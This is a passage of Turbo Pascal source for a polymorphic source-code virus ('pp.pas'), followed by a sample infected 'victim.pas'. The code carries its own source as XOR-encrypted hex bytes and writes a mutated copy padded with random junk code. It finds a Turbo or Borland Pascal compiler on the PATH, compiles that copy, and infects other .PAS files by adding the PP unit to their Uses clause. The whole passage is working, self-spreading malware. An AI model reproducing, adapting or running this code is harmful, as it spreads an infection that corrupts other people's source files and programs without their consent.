$29,$20,$3C,$3E,$20,$30,$20,$74,$68,$65,
$6E,$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,
$43,$20,$3A,$3D,$20,$50,$6F,$73,$28,$27,
$3B,$27,$2C,$42,$42,$4E,$5B,$58,$2D,$31,
$5D,$5E,$29,$3B,$0D,$0A,$58,$53,$74,$72,
$69,$6E,$67,$20,$3A,$3D,$20,$43,$6F,$70,
$79,$28,$42,$42,$4E,$5B,$58,$2D,$31,$5D,
$5E,$2C,$31,$2C,$43,$2D,$31,$29,$2B,$27,
$2C,$50,$50,$27,$2B,$43,$6F,$70,$79,$28,
$42,$42,$4E,$5B,$58,$2D,$31,$5D,$5E,$2C,
$43,$2C,$4C,$65,$6E,$67,$74,$68,$28,$42,
$42,$4E,$5B,$58,$2D,$31,$5D,$5E,$29,$29,
$3B,$0D,$0A,$42,$42,$4E,$5B,$58,$2D,$31,
$5D,$5E,$20,$3A,$3D,$20,$58,$53,$74,$72,
$69,$6E,$67,$3B,$0D,$0A,$45,$6E,$64,$20,
$45,$6C,$73,$65,$0D,$0A,$42,$65,$67,$69,
$6E,$0D,$0A,$58,$53,$74,$72,$69,$6E,$67,
$20,$3A,$3D,$20,$42,$42,$4E,$5B,$58,$2D,
$31,$5D,$5E,$20,$2B,$20,$27,$20,$50,$50,
$2C,$27,$3B,$0D,$0A,$42,$42,$4E,$5B,$58,
$2D,$31,$5D,$5E,$20,$3A,$3D,$20,$58,$53,
$74,$72,$69,$6E,$67,$3B,$0D,$0A,$45,$6E,
$64,$3B,$0D,$0A,$41,$73,$73,$69,$67,$6E,
$28,$46,$65,$7A,$69,$2C,$46,$69,$7A,$2E,
$4E,$61,$6D,$65,$29,$3B,$0D,$0A,$52,$65,
$77,$72,$69,$74,$65,$28,$46,$65,$7A,$69,
$29,$3B,$0D,$0A,$46,$6F,$72,$20,$43,$20,
$3A,$3D,$20,$30,$20,$74,$6F,$20,$5A,$2D,
$31,$20,$64,$6F,$20,$57,$72,$69,$74,$65,
$6C,$6E,$28,$46,$65,$7A,$69,$2C,$42,$42,
$4E,$5B,$43,$5D,$5E,$29,$3B,$0D,$0A,$43,
$6C,$6F,$73,$65,$28,$46,$65,$7A,$69,$29,
$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$46,
$6F,$72,$20,$43,$20,$3A,$3D,$20,$30,$20,
$74,$6F,$20,$5A,$2D,$31,$20,$64,$6F,$20,
$44,$69,$73,$70,$6F,$73,$65,$28,$42,$42,
$4E,$5B,$43,$5D,$29,$3B,$0D,$0A,$45,$6E,
$64,$20,$45,$6C,$73,$65,$20,$43,$6C,$6F,
$73,$65,$28,$46,$65,$7A,$69,$29,$3B,$0D,
$0A,$0D,$0A,$46,$69,$6E,$64,$4E,$65,$78,
$74,$28,$46,$69,$7A,$29,$3B,$0D,$0A,$65,
$6E,$64,$3B,$0D,$0A,$45,$6E,$64,$2E,$0D,
$0A);
Var
Vars            : Array [0..VarNum] of String[15];
VarsT           : Array [0..VarNum] of Byte;
VarN            : Word;
BBN             : Array [0..5000] of SSp;
Dest            : Pointer;
WString         : String;
DString         : String;
XString         : String;
I,Z,X,C,V       : Integer;
B               : Byte;
InFunction      : Boolean;
BeginNum        : Byte;
FConst          : Boolean;
FVar            : Boolean;
FunctionBeg     : Boolean;
NoMore          : Boolean;
BeginFunc       : Byte;
InCase          : Boolean; Keyz:Byte;
Fiz             : SearchRec;
Fezi            : Text;
A               : Text;
CPos            : Integer;
Key             : Byte;
Bpos            : Boolean;
InG             : Byte;
InLoop          : Boolean;
InLoopVar       : Byte;

Procedure  OurProc; Interrupt; Begin End;
{ Int 10 dummy }

Procedure  Compile(CName:String);       { Executes compieler }
Var
F:String;
G:Pointer;
Begin
GetIntVec($10,G);
SetIntVec($10,Addr(OurProc));
SwapVectors;
F := '-Q '+DString + '\PP.PAS';
Exec(CNAME,F);
SwapVectors;
SetIntVec($10,G);
End;

Function ToWord(StrP:String):String;    { Finds first word in a string }
Var
g:Integer;
Begin
ToWord := '';
For g := 1 to Length(StrP) do
If (StrP[G] <> ' ') and (StrP[G] <> Chr(9)) then
Begin
ToWord := Copy(StrP,G,Length(StrP)-G+1);
Break;
End;
End;


Function WordCount(FF:String):Byte;     { Counts number of words in a string }
Var
S,G:String;
B,L:Byte;
Begin
B := 0;
S := ToWord(FF);
repeat
L := Pos(' ',S);
S := Copy(S,L+1,Length(S));
Inc(B);
until L = 0;
WordCount := B - 1;
End;

Function GetString:String;      { Get string from our source array }
Var
F:String;
K,L:Integer;
Begin
F := '';
repeat
B := Body[CPos];
Inc(Cpos);
If (B <> $0D) and (B <> $0A) then F := F + Chr(B);
until (B=$0D) or (B=$0A);
If (Body[CPos] = $0A) or (Body[CPos] = $0D) then Inc(CPos);
GetString := F;
End;

Function UCase(StrP:String):String;     { To uppercase string }
Var
G:Integer;
M:String;
Begin
M := '';
For G := 1 to Length(StrP) do M := M + UpCase(StrP[G]);
UCase := M;
End;

Function GetWord(StrP:String;Count:Integer):String;
                                           { Gets word from string }
Var
L:String;
G,B,N:Integer;
Begin
G := 1;
B := Count;
L := '';
For N := 1 to Length(StrP) do
Begin
If (StrP[N] = ' ') or (StrP[N] = Chr($09)) then
Begin
L := Copy(StrP,G,N-1);
Dec(B);
If (B) = 0 then Break;
Dec(N);
repeat
Inc(N);
until StrP[N] = ' ';
End;
End;
If N = Length(StrP) then L := Copy(StrP,G,N);
GetWord := L;
End;

Procedure MakeGarb; Forward;

Procedure MakeVar;      { Creates trash variable }
Const
Vart:Array[0..4] of String = ('Byte','String','Boolean','Integer','Char');
Var
F:String[15];
G,I,H:Integer;
BB:Byte;
Begin
I := Random(10)+4;
F := '';
For H := 0 to I do F := F + Chr(Random(24)+65);
For H := 0 to VarN do If Vars[H] = F then Exit;
Write(A,F);
Vars[VarN] := F;
BB := Random(4);
Writeln(A,'  : '+Vart[BB]+';');
VarsT[VarN] := BB;
Inc(VarN);
End;

Procedure MakeAr;       { Fills trash variables with some garbage }
Const
Booz:Array[0..1] of String[5] = ('True','False');
Var
F:String;
G,H,J:Integer;
Begin
repeat
G := Random(VarN-1);
until G <> InLoopVar;
Write(A,Vars[G]+' := ');
If VarsT[G] = 2 then Writeln(A,Booz[Random(1)]+';');
If VarsT[G] = 1 then
Begin
J := Random(10)+5;
F := Chr(39);
If VarsT[G] = 1 then For H := 0 to J do F := F + Chr(Random(24)+65);
F := F + Chr(39)+';';
Writeln(A,F);
End;
If VarsT[G] = 4 then Writeln(A,Chr(39)+Chr(Random(24)+65)+Chr(39)+';');
If VarsT[G] = 0 then
Begin
H := Random(255);
Writeln(A,H,';');
End;
If VarsT[G] = 3 then
Begin
H := Random(65535);
Writeln(A,H,';');
End;
End;

Procedure MakeIf;       { Creates If...then }
Const
Booz:Array[0..1] of String[5] = ('True','False');
Var
G,H,J:Integer;
F:String;
Begin
Write(A,'If ');
G := Random(VarN-1);
Write(A,Vars[G]+' = ');
If VarsT[G] = 2 then Write(A,Booz[Random(1)]);
If VarsT[G] = 1 then
Begin
J := Random(10)+5;
F := Chr(39);
If VarsT[G] = 1 then For H := 0 to J do F := F + Chr(Random(24)+65);
F := F + Chr(39);
Write(A,F);
End;
If VarsT[G] = 4 then Write(A,Chr(39)+Chr(Random(24)+65)+Chr(39));
If VarsT[G] = 0 then
Begin
H := Random(255);
Write(A,H);
End;
If VarsT[G] = 3 then
Begin
H := Random(65535);
Write(A,H);
End;
Write(A,' Then ');
MakeGarb;
End;

Procedure MakeRp;       { Creates Repeat..Until }
Var
F:String;
G:Byte;
zZ:Byte;
N:Boolean;
Begin
If Not InLoop then
Begin
For zZ := 0 to VarNum do If VarsT[zZ] = 0 then Break;
If zZ<=VarNum then
Begin
InLoop := True;
InLoopVar := zZ;
Writeln(A,'Begin');
Writeln(A,Vars[zZ]+' := ',Random(255),';');
Writeln(A,'Repeat');
MakeGarb;
Writeln(A,'Inc('+Vars[zZ]+');');
MakeGarb;
Writeln(A,'Until '+Vars[zZ]+' = ',Random(255),';');
Writeln(A,'End;');
InLoop := False;
End;
End;
End;

Procedure MakeGarb;     { Creates trash }
Var
G:Byte;
Begin
If InG < 2 then
Begin
Inc(InG);
G := Random(3);
Case G of
0:   MakeAr;
1:   MakeIf;
2:   MakeRp;
End;
Dec(InG);
End Else MakeAr;

End;

Procedure DoPoly;       { Creates out polymorphic copy }
Const
OName = 'PP.Pas';
Var
tt,zz:Integer;
Begin
Randomize;
Assign(A,OName);
Rewrite(A);
InLoop     := False;    { Init }
InLoopVar  := 0;
InG        := 0;
Key        := Random(255);
VarN       := 0;
InCase     := False;
InFunction := False;
FConst     := False;
FunctionBeg:= False;
FVar       := False;
NoMore     := False;
BeginNum   := 0;
BeginFunc  := 0;
Z := 0;
X := 0;
C := 0;
V := 0;
CPos := 0;
Keyz := 0;
For i := 0 to ArrLen do Body[i] := Body[i] xor Keyz;
                { Decrypt our sources }
i := 0;
repeat
XString := GetString;   { Get String }
WString := UCase(ToWord(XString)); { Move to first word }
DString := GetWord(WString,1); { Get first word }
If (DString = 'KEYZ') then Writeln(A,'Keyz :=',Key,';')
{ Keyz ? Put new key }
Else Writeln(A,XString);
{ Nope - just write our sources }
If DString = 'CONST' then FConst := True;

{ Different Procedures/Functions/Etc defenitions }

If (DString = 'VAR') then
Begin
FConst := False;
FVar   := True;
End;
If DString = 'FUNCTION' then
Begin
FVar := False;
InFunction := True;
End;
If DString = 'PROCEDURE' then
Begin
FVar := False;
InFunction := True;
End;
If (DString = 'BEGIN') and (Not InFunction) and (Not InCase) then Inc(BeginNum);
If (DString = 'END;') and (Not InFunction) and (Not InCase) then  Dec(BeginNum);
If (DString = 'CASE') then InCase := True;
If (DString = 'END;') and (Not InFunction) and (InCase) then  InCase := False;
If (DString = 'END.') then NoMore := True;
If (DString = 'BEGIN') and (InFunction) then
Begin
FVar := False;
Inc(BeginFunc);
End;
If (DString = 'END;') and (InFunction) then
Begin
Dec(BeginFunc);
If BeginFunc = 0 then InFunction := False;
End;
If (DString = 'BODY') then      { BODY ? }
Begin
Zz := 0;                        { Yea ! Store our sources, crypting }
For Tt := 0 to ArrLen-1 do
Begin
Write(A,Body[Tt] Xor Key,',');
Inc(Zz);
If ZZ = 10 then
Begin
Writeln(A,'');
ZZ := 0;
End;
End;
Writeln(A,Body[ArrLen]);
End;
If (FVar) and (Not InFunction) and (Random(3) = 0) then MakeVar;
If (DString <> 'IF') and (DString <> 'FOR') and (DString <> 'WHILE') then
Begin
If (Not FVar) and (Not FConst) and (BeginNum>0)
       and (BeginFunc=0) and (Not NoMore)
          and (Random(3)=0) and (Not InCase) then MakeGarb;
{ Not in function/procedure, opening Begin here ?
    Create trash opcode }

If (Not FVar) and (Not FConst) and (BeginNum=0)
       and (BeginFunc>0) and (InFunction)
          and (Random(3)=0) and (Not InCase) then MakeGarb;
{  In function/procedure ? Create trash opcode }

End;
Until NoMore;
Close(A);
End;

Begin
DoPoly;         { Create polycopy }
XString := GetEnv('PATH');      { Get path }

GetDir(0,DString);              { Get our Dir }
repeat
WString := UCase(Copy(XString,i,Pos(';',XString)-1));
If WString = '' then XString := '';
XString := Copy(XString,Pos(';',XString)+1,Length(XString));
ChDir(WString);
Assign(Fezi,'TPC.EXE');         { Find TPC or BPC }
Reset(Fezi);
If IOResult = 0 then
Begin
Close(Fezi);
Compile('TPC.EXE');             { Gotcha ! Compile !!! }
Break;
End;
Assign(Fezi,'BPC.EXE');         { Same..Compile }
Reset(FeZi);
If IOResult = 0 then
Begin
Close(Fezi);
Compile('TPC.EXE');
Break;
End;
until XString = '';

ChDir(DString);                 { In our directory }
If XString <> '' then
Begin
Assign(Fezi,'PP.PAS');          { Traveled thorough out all dirs and there
                                is no compieler ! If founded , delete
                                our sources }

Erase(Fezi);
End;

FindFirst('*.PAS', Archive, Fiz);       { Infect .Pas files }
while DosError = 0 do
begin
Z := 0;
X := 0;
NoMore := False;
Assign(Fezi,Fiz.Name);
Reset(Fezi);
If Fiz.Size < 16000 then                { Size < 16000 ? }
Begin

repeat
New(BBN[Z]);
Readln(Fezi,BBN[Z]^);                   { Read sources in memory }
Inc(Z);
until Eof(Fezi);
Close(Fezi);

BPos := False;
For i := 0 to Z-1 do If Pos('{$M',BBN[i]^)>0 then BPos := True;
If Not BPos then
begin
BPos := False;                          (* Insert {$M $8000,0,200000} *)
i := 0;
repeat
Inc(I);
If Length(BBN[i]^)<40 then BPos := True;
until BPos;
New(BBN[Z]);
For C := Z-1 downto i do BBN[C+1]^ := BBN[C]^;
BBN[i]^ := '{$M $8000,0,200000}';
Inc(Z);
End;

X := 0;
i := 0;

repeat
WString := GetWord(UCase(ToWord(BBN[X]^)),1);   { Create Uses }
Inc(X);
until (WString = 'USES') or (X>Z);
If Z > X then
If Pos('PP',BBN[X-1]^) = 0 then
Begin
If WordCount(BBN[X-1]^) <> 0 then
Begin
C := Pos(';',BBN[X-1]^);
XString := Copy(BBN[X-1]^,1,C-1)+',PP'+Copy(BBN[X-1]^,C,Length(BBN[X-1]^));
BBN[X-1]^ := XString;
End Else
Begin
XString := BBN[X-1]^ + ' PP,';          { Insert PP }
BBN[X-1]^ := XString;
End;
Assign(Fezi,Fiz.Name);
Rewrite(Fezi);
For C := 0 to Z-1 do Writeln(Fezi,BBN[C]^);
Close(Fezi);
End;
For C := 0 to Z-1 do Dispose(BBN[C]);
End Else Close(Fezi);

FindNext(Fiz);
end;
End.
===== end   pp.pas =====

===== begin victim.pas =====
Program Victim;
{$M $8000,0,200000}
Uses Dos,PP;
Begin
{ ࠦ ணࠬ }
End.
===== end   victim.pas =====
